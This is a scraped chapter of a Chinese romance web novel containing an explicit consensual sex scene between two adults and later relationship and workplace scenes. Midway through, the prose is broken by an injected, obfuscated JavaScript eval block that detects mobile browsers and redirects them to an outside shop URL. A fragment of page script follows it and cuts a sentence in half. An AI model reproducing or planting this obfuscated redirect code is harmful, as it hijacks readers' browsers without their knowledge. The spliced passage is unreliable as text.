42. 42

作品:《车下不熟

    刑沐隐隐察觉到陶怀州要大逆不道,骂街行不通,晓之以理也行不通,她只能动之以情了:“陶怀州,你病才好,你就当为了我,留得青山在,好不好?”


    貌似……管用?


    陶怀州的动作一顿,貌似吃她这一套。


    但刑沐也做不到乘胜追击。


    她不善于表达感情,归结于她从小到大看包映容表达得太多,看刑涛和成昊表达得太假,都没什么好结果。到了她自己这儿,谷益阳三番五次说她“不够乖”,无非是觉得她对他有所保留。


    有所保留是不假。


    但假设她对谷益阳表达的有五分,她对他的感情其实有七分。


    她真为他伤过神,也曾对他抱有过不切实际的幻想。


    还有柯轩。


    假设她对柯轩表达的有两分,她对他的感情其实也有三四分了。


    至少,她真想过要不要和他试试看。


    至于对陶怀州,刑沐并不认为他们之间是靠感情所连结——他们靠的是顺路、同床,更确切地说是适合顺路,适合同床。


    总之,她本来就不善于表达感情,对陶怀州又没有感情,她的动之以情仅此“留得青山在”而已,能有零点一分就不错了。


    好在,零点一分对陶怀州而言就够用了。


    “好。”陶怀州答应了。


    刑沐关心他,不是吗?


    刑沐关心他,他什么都答应。


    “但是……”陶怀州有下文。


    刑沐哀叹:“我就知道有但是……”


    表面是哀叹,本质是暴跳如雷,无奈她双腿形同虚设,双手也无所适从,一会儿要往前扶,一会儿要往后抓,扶也扶不稳,抓也抓不牢。要知道,她选择在厨房里和陶怀州瞎胡搞,除了是兴之所至,更原因有二。


    一是不让陶怀州上她的床。


    二是完事儿后,让陶怀州提上裤子就走人。


    谁知道他又迟迟不完事儿啊?早知如此,不上床,她好歹往沙发上坐一坐,也不至于直立着操练。


    “你接着说。”刑沐白白打断陶怀州,到头来还得让他把话说完,不然,又要回到持久战。


    “三五分钟,我结束不了,除非……”


    刑沐心说Excuseme?


    你陶怀州明明是快枪手啊!


    到底是哪里出了问题……


    现在不是追根溯源的时候,现在刑沐只能给陶怀州捧哏:“除非什么?”


    “除非你答应我一件事。”


    “你有屁快放!”


    “我不想叫你刑沐了……”


    刑沐一愣,转头看陶怀州:“那你想叫我什么?”她从认识他开始,便觉得他虽然不显山,不露水,但是个不按常理出牌的人,眼下这一句,也在她意料之外。


    陶怀州像不亲白不亲似的在刑沐脸上嘬了两口,把她的头转回去,不让她看他:“叫你刑沐,太远了。”


    “那你叫我小名?沐沐。”


    “我没记错的话,谷益阳叫你沐沐。”


    “我妈也叫我沐沐!”


    “柯轩叫你什么?”


    “他叫我姐,”刑沐又转头看陶怀州,“你也要叫我姐吗?”


    陶怀州又把她的头转回去:“我不。”


    他补充:“我不想跟别人一样。”


    刑沐倾囊相授:“那你叫我宝贝、宝宝、乖乖……”


    “那是你对我的称呼。”


    “亲爱的?哈尼?小心肝儿?”刑沐绞尽脑汁,“小猫咪、小猪猪,随便你!”


    “都太俗了。”


    刑沐不得不另辟蹊径:“刑大海不俗吧?或者……我微信名叫花开富贵,你叫我富贵儿吧!”


    “你太极端了。”


    “陶怀州,”刑沐后知后觉,“你想好了,对吧?”


    她就是在白白浪费脑细胞。


    陶怀州默认。


    “是什么?”刑沐像残兵败将一般趴在了案台上。


    计时器还剩下两分钟。


    无论陶怀州要叫她什么,她都答应,只要他一言九鼎。一个称呼而已,伤不了她一根汗毛。但他要是再无休无止,她怀疑她五脏六腑都要错位了。


    “我想叫你……”陶怀州的呼吸比他的动作快了半拍,“老婆。”


    他话音未落,刑沐甚至不给自己反应的时间:“没问题。”


    顿时,陶怀州像山一样不容置疑,像海一样无孔不入地笼罩了刑沐,加快了动作:“老婆……”


    刑沐被绝望和希望围剿,绝望于身体一轮轮被抽干,却还能有下一轮,希望在于陶怀州给了她最后一轮的曙光。她这才反应过来:老婆?


    倒也不算太别出心裁。


    恋爱的男女多的是以老公和老婆相称。


    他们二人的关系虽然和恋爱风马牛不相及,但他以此助助兴也无可厚非。


    只是,别指望她叫他老公。


    这个她做不到。


    刑沐关于让步和底线的分析到此为止,毕竟她在陶怀州的冲刺中能保持清醒就不错了,不可能才思敏捷。更何况陶怀州一直在断断续续叫她老婆,乍一听,对她的耳朵是一种福利,但听多了,跟叫魂似的,让她活也活不好,死也死不透。


    铃响。


    刑沐的保持清醒在陶怀州加快又加快的驰骋中功亏一篑,昏昏沉沉想着是她少见多怪吗?这也太爽了。但会不会等她见多识广了,终究能对陶怀州评价一句justsoso?


    陶怀州的结束伴随一声无声的老婆。


    他知道他这场梦到此为止。


    摘下,打结,陶怀州来不及扔,看刑沐软趴趴地往地上出溜,先拎住她,让她面对面靠他怀里。


    刑沐不曾在事后和陶怀州缠缠绵绵,现在也不算,现在也只是把他当个依靠而已。她看陶怀州的视线落在垃圾桶上,再看他另一只手藏在身后,不难猜到他在想什么。


    她发话:“扔吧。”


    这王八蛋保准在想把套留在她和她“男朋友”家里,真带劲。


    前半句她猜对了。


    真带劲?陶怀州只会觉得他真没劲。


    刑沐在他怀里,他只能隔着一步的距离,把手中的橡胶制品掷入垃圾桶,沉甸甸的一声,垃圾袋的边缘被带落。


    “嚯……”刑沐口无遮拦,“这么多。”


    陶怀州刷地脸红,似乎刚才只手遮天的人不是他。


    “嚯!”刑沐更来劲了,“又纯情上了?”


    似乎刚才死去活来的人不是她。


    然后,刑沐看陶怀州的视线落在了触手可及的里面还剩八只的小盒子上,她忙不迭去捡地上的裤子:“太晚了,我就不留你了。”


    陶怀州知道,跟时间的早晚没关系,她不留就是不留。


    他跟着刑沐去捡地上的裤子。


    地板上水迹斑斑,刑沐的裤子幸免于难,但陶怀州的裤子被波及了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16208865|176063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    刑沐看得头皮发麻:她就不能神不知鬼不觉地爽吗?非得留下这一片片的铁证如山吗?


    更让她下不来台的是她眼看陶怀州要用他的裤子擦地……


    她心惊肉跳地拦下他:“你是客气,还是变态?倒也不用这么客气。”


    陶怀州作罢,也没再说什么,但刑沐越来越怀疑他不是客气。


    片刻,陶怀州被刑沐“送”出门,一手是她给他的锅,另一手是厨房的垃圾袋——她让他顺便。


    “我给你买了礼物。”陶怀州在门外了。


    他在凯文的建议下,从港市给“花开富贵”买了金镯子,就在他外套口袋里。整晚,他都没找到合适的机会送给刑沐。一拖再拖,拖到现在,更不是合适的机会。


    现在他没有第三只手能伸进外套口袋里。


    刑沐上半身只穿着灰色小背心,留着一条窄窄的门缝:“礼物?你回头给我。先谢了!”


    她一没觉得贵重,二没觉得他带在身上——要带在身上,他还不早给她了?她猜是曲奇或者蛋卷之类。


    就这样,刑沐关了门,结束了陶怀州大起大落的一天,起到妙不可言,落回从不被她选择的孤伶伶一人。


    稍后,在刑沐洗澡的十五分钟里,她的手机先后亮了两次。


    洗完澡,她看两条微信来自两个男人。


    先是谷益阳:「真想分手?」


    后是柯轩:「姐,我爸妈想请你吃饭,你赏个脸呗!」


    在她的分类里,陶怀州是适合,这两个男人多少算是有感情。


    果然,适合是比有感情更牢不可破的连结。


    看看人家陶怀州,不管做哪方面的搭子,都出类拔萃,再看看这俩货,谷益阳表面上听不懂人话,实则自以为是,柯轩表面上听得懂人话,实则文不对题。


    都令她不胜其烦。


    转天。


    陶怀州在无边文旅楼下,看到陶治被两名保安驱逐。


    这不知道是陶治第几次来找他了,穿了一件保洁的马甲,还是被识破了。陶怀州明明能绕行,却有意而为之地让陶治看到了他。


    翻脸也有段时间了,他猜测陶治会骂他、会求他,结果陶治隔着两名保安对他喊话:“你不想知道她是谁吗?”


    你不想知道你妈是谁吗?


    陶怀州不疾不徐的脚步没有停顿,陶治越跳过骂他、求他的步骤,他越要静候佳音。


    午休时间,赵狄来找陶怀州,本想让他这个当事人亲口讲讲去足疗店给人当金牌技师的壮举,看他还没吃饭,在办公,就先忍了忍。


    良久,赵狄往陶怀州的电脑前一凑……办公?


    办个屁公!


    陶怀州看的是悦畅旅游在齐市的规划书。


    “你……”赵狄手指电脑,“你干什么?”


    陶怀州拨开赵狄碍事的手:“现在是午休时间。”


    “现在是什么时间,你也不能看悦畅旅游!我们跟它一没合作,二不是对家,你看它就是看海后!”


    “你别叫她海后,她不是。”


    “没救了,没救了你!”赵狄拍着脑门儿原地转圈圈,“等等!她要去齐市?”


    陶怀州实话实说:“她想听听我的建议。”


    “你的建议?你想不想让她去,你自己不知道?”赵狄又手指电脑,“还得看数据?”


    陶怀州看得差不多了,关了电脑:“我的建议……要为她好。”